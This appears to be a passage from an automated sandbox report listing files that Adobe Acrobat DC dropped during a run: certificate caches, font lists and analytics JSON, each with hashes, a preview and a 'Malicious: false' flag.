C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772040822695637
Encrypted:	false
SSDEEP:	48:7Mtp/E2ioyVoioy9oWoy1Cwoy1sKOioy1noy1AYoy1Wioy1hioybioyuoy1noy1Z:7qpjuoFbXKQTfb9IVXEBodRBkZ
MD5:	24489D041710FA29A1AFB754969F4115
SHA1:	24330EC13B6D619493D55FBC52526CA00187F4D8
SHA-256:	AE6224C3B06414653D78B618454095B752ECD7F3F620546A8AB782AAC0119CD2
SHA-512:	1390E32E6E9047893182E37D0D21E1FB332CD5E817B69F39BCF3342F5BE74563C92C9AB470E8BABAD7D3846CF63363A26901AB64EB8B7DFC2AC6BA2523074477
Malicious:	false
Preview:	.... .c.....LbM................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklxRLlltfllXlE/HT8k0bbNNX8RolJuRdxLlGB9lQRYwpDdt:kKA/eT8rNMa8RdWBwRd
MD5:	C96E3B5C270692E20C835F075EB09A99
SHA1:	921ABF90E84CC907996AB586B876239CA8086ADA
SHA-256:	E5B3FC8D08D0F91C496873501078D303648C79FB77D555CF0100EFC5AAE0177F
SHA-512:	1629E50042986F82B3AC340F6460D2681BA5835C592BD71E2BF1D28E2172D28CF50D59DB48715B702BBC3748F9631C95BD41425B6C3C5B5339BE9475C2E336D5
Malicious:	false
Preview:	p...... .........i;..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kKjai/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:rdiDnLNkPlE99SNxAhUe/3
MD5:	1803C96500487EB527A60BA7AE0E0ABF
SHA1:	5A5A5ECFF2B0FE92BD5FC0AAF6106EAF8B280EEC
SHA-256:	9693C0904D8B8FC6054AB7C9D7ED3EA7385DB7F468D90BE878313CAB96D3D109
SHA-512:	360938C9E3E50D2F26156CCC1FD7021265B61315D81FDADCD6E1496A5C606D5FFCFF86272B83A0722F8F84F4827C642354555FAF98BDCD99B5AC42BF41CC7378
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3668

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3668

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366020243653036
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJM3g98kUwPeUkwRe9:YvXKXpA9JkZc0vBGMbLUkee9
MD5:	88914D47DBD1AEBA869ACCBF120F195D
SHA1:	E9F3983A8516BBA1020C8339126158B8F4AADEB4
SHA-256:	4BBB0D4943409E5677C83B881DC33383286ACA10755C20BB66AA878A597FC4BD
SHA-512:	C35FD98448841C1082C2CC4066F246230D1E0A43C439FBD7076644FC7E8AD55BEBC250937ADD91CA2A02E3CF2BED41873BABD6ED0845CCC49B8FF6161BAC9F9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3130677946867415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfBoTfXpnrPeUkwRe9:YvXKXpA9JkZc0vBGWTfXcUkee9
MD5:	5706E4CEA735682BC333D82C97221CF7
SHA1:	3AB068AE85AA187EDA335E71C7DFFD18E3FDD496
SHA-256:	3A6EFF506F8E7DE1F22AC94CFA4168C5D66DCF51EE0E0D7FFEA3F1A79EB3321D
SHA-512:	A4753E1657D816B228CCED99A8E5E47338975E08CBC3B1206FCB18A8FFDE233F1554F65DC00D49DCAD6DEB90AE3279938BB496D595D4A330616EB0FE560A9353
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292147258891703
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfBD2G6UpnrPeUkwRe9:YvXKXpA9JkZc0vBGR22cUkee9
MD5:	1F41B4913DFCE4CCEBB35E58A40B6453
SHA1:	93A615B3786EB5A84F9B13565B633C0CF8CE090E
SHA-256:	FB6B0CC073CA0EEA576B5C58B6A4324D9AC58D27BBD72356268B03CABC8544F3
SHA-512:	086CB4569134CF831BEC564020EA21EB09687369F4CA7172B6382079CAF5A31BEF0AFA7A957217D7DE3F58278DF4C31B8628512CAF02F4EA567232B4727CD93C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.353123972912611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfPmwrPeUkwRe9:YvXKXpA9JkZc0vBGH56Ukee9
MD5:	514543A9EE2ABE6B26D8DE07DD823903
SHA1:	40D7225771BAAB68EC9060EC2501AA5CAC16AB7B
SHA-256:	56CD2F6497D24E80F0A962803A1F707D66D7D92B14CC2AA0C9E5CAE4020EBF19
SHA-512:	176F4ED113CDBDB0159BF64FA17F12E00A3CE4D1E5EDCCCC3934DFE27A824BF3DFB82B06DCD2E152DF31111617300E1696FD5B81219629C011A3121B464EB987
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683764629960027
Encrypted:	false
SSDEEP:	24:Yv6XpA92zvmpLgE9cQx8LennAvzBvkn0RCmK8czOCCSM:Yv6ehgy6SAFv5Ah8cv/M
MD5:	731BC410D9D037B4F1B98FF31FBA521F
SHA1:	7CBE9E24DF0AE25BC13F3DF5D80E199DF631C84C
SHA-256:	9468C3CB836836360559B7CE9B091A25BA422642449BDDDCC54EA4BED3605215
SHA-512:	1384ED65E81C176DDF6EE384BD84ADD981652B8ADA6D09AD525A948882AB0A07175AFBE013F3818E1A6C981C98B1658D19B8A46A031CDD07E7C117B0B5AD67D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29640468819804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJf8dPeUkwRe9:YvXKXpA9JkZc0vBGU8Ukee9
MD5:	5C91A4188E2566AEA57ABB30A68BEBCC
SHA1:	1D8E3EDC9AB6DAD37E909C50B98FDD0907B2F56A
SHA-256:	DF9FA272634FD77634A29BCF9D0B37E7DB3DF1D24AB9E0407DD8F961B331D273
SHA-512:	36C47D69308CAE675CC64B45A8B64796A389C5475F9FC39222CB7E1E29ACDCF3FEF9A6B03BAB9DD0D802570CEB7D0433F2096914AC9DDAFB3B06ABEEBD763420
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3000982756759445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfQ1rPeUkwRe9:YvXKXpA9JkZc0vBGY16Ukee9
MD5:	194915E3CC1DA1BD9BDDA73431D887BE
SHA1:	2054733ABF25B31C2C6B8B07F40CF1245996AF25
SHA-256:	7F1C16D022A0654AECA6812512FD3864FAF51A54ACD76AAEB66ED08B32F1538F
SHA-512:	846C5FD9D52FFC910D589359DBA2D4FD5FD9864BA3FBE9DE50C3C3E03E8CADC54267A11C4904FE4E014264E19B679AD4A9A1E8D874BD3E00BCCB59C730426282
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30570777225545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfFldPeUkwRe9:YvXKXpA9JkZc0vBGz8Ukee9
MD5:	C93BECA6644F8498F3C0794FAF3B9AB9
SHA1:	2587104A55068156D38E2BC028A0AB42306C100B
SHA-256:	3732ED0EF67A4678CF24113F15145DA7CB15ACC39A79CD0FAC46896EE855C8DE
SHA-512:	478E66C2BD9C1840E5153DB9B016CD65815573AF8930FB87193D52471289479B3D0020A48BB8A8CDFC83EFE5036BA9A78CA78ECE354DEE317E4FA428D2C89BDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

